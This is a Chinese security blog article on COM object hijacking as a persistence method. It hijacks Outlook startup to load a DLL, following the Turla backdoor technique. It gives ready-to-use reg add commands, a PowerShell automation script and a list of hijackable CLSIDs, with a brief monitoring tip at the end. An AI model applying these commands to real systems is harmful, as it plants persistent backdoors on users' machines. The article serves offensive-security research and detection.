Use COM Object hijacking to maintain persistence——Hijack Outlook
0x00 前言
APT 组织 Trula 使用的一个后门利用方法,通过 COM 劫持实现在 Outlook 启动时加载 dll,特点是只需要当前用户的权限即可实现。
本文将参考公开的资料对这个方法进行测试,编写一个自动化利用脚本,扩展用法,分享多个可用的劫持位置,结合利用思路给出防御建议
参考资料:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
0x01 简介
本文将要介绍以下内容:
- 利用方法
- Powershell 脚本实现细节
- 扩展用法
- 防御建议
0x02 利用方法
Outlook 在启动时会加载多个 COM 对象,我们可以通过修改注册表的方式劫持 Outlook 的启动过程,用来加载 DLL
这里的利用方法需要添加两个注册表,修改两个 COM 对象
由于是修改 HKCU 的注册表,所以使用当前用户权限即可
(1)COM 对象 1,用来加载第二个 COM 对象
添加如下注册表:
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}
通过命令行实现的命令如下:
reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
(2)COM 对象 2,用来加载 DLL
添加如下注册表:
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} = Mail Plugin
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 = [Path to the backdoor DLL]
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32\ThreadingModel = Apartment
通过命令行实现的命令如下:
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "c:\\test\\calc.dll" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
calc.dll 可使用之前的测试 DLL,地址为: https://github.com/3gstudent/test/blob/master/calc.dll
添加注册表后启动 Outlook,多次加载 DLL,弹出多个计算器,这里可以使用互斥量确保只弹出一个计算器,DLL 的下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll
对于 64 位 Windows 系统,如果安装了 32 位的 Office,两个 COM 对象的注册表位置需要修改为 HKCU\Software\Classes\Wow6432Node\CLSID\
0x03 Powershell 脚本实现细节
实现流程如下:
- 判断操作系统位数
- 判断 Office 软件版本
- 如果是 64 位系统安装 32 位 Office,注册表的位置为
HKCU\Software\Classes\Wow6432Node\CLSID\
,否则,注册表的位置为HKCU\Software\Classes\CLSID\
- 添加对应注册表
具体代码如下:
1. 判断操作系统位数
if ([IntPtr]::Size -eq 8)
{
'64-bit'
}
else
{
'32-bit'
}
2. 判断安装 office 软件版本
查看默认安装路径 C:\Program Files\Microsoft Office
是否包含文件夹 MEDIA
如果包含,那么为 64 位 Office,否则为 32 位 Office
powershell 代码如下:
Try
{
dir C:\Program Files\Microsoft Office\MEDIA
Write-Host "Microsoft Office: 64-bit"
}
Catch
{
Write-Host "Microsoft Office: 32-bit"
}
实现代码已开源,地址如下:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1
代码实现了自动判断操作系统位数和 Office 软件版本,添加对应的注册表项
0x04 扩展用法
使用 Process Monitor 监控 Outlook 启动过程,查找是否有其他可用的 COM 对象,经测试,我在 Outlook2013 上找到多个可用方法,COM 对象 1 替换成以下任意一个,COM 对象 2 保持不变。
可用的 COM 对象 1:
- {B056521A-9B10-425E-B616-1FCD828DB3B1}
- {EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}
- {93E5752E-B889-47C5-8545-654EE2533C64}
- {56FDF344-FD6D-11D0-958A-006097C9A090}
- {2163EB1F-3FD9-4212-A41F-81D1F933597F}
- {A6A2383F-AD50-4D52-8110-3508275E77F7}
- {F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}
- {88D96A05-F192-11D4-A65F-0040963251E5}
- {807583E5-5146-11D5-A672-00B0D022E945}
- {529A9E6B-6587-4F23-AB9E-9C7D683E3C50}
- {3CE74DE4-53D3-4D74-8B83-431B3828BA53}
- {A4B544A1-438D-4B41-9325-869523E2D6C7}
- {33C53A50-F456-4884-B049-85FD643ECFED}
- {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}
- {275C23E2-3747-11D0-9FEA-00AA003F8646}
- {C15BB852-6F97-11D3-A990-00104B2A619F}
- {ED475410-B0D6-11D2-8C3B-00104B2A6676}
- {1299CF18-C4F5-4B6A-BB0F-2299F0398E27}
- {DCB00C01-570F-4A9B-8D69-199FDBA5723B}
- {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}
0x05 防御建议
监控以下注册表项下的创建和修改操作:
- HKCU\Software\Classes\CLSID\
- HKCU\Software\Classes\Wow6432Node\CLSID\
0x06 小结
本文介绍了通过 COM 劫持实现在 Outlook 启动时加载 dll 的方法,分享多个可用的劫持位置,结合利用思路给出防御建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: SILENTTRINITY 利用分析
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论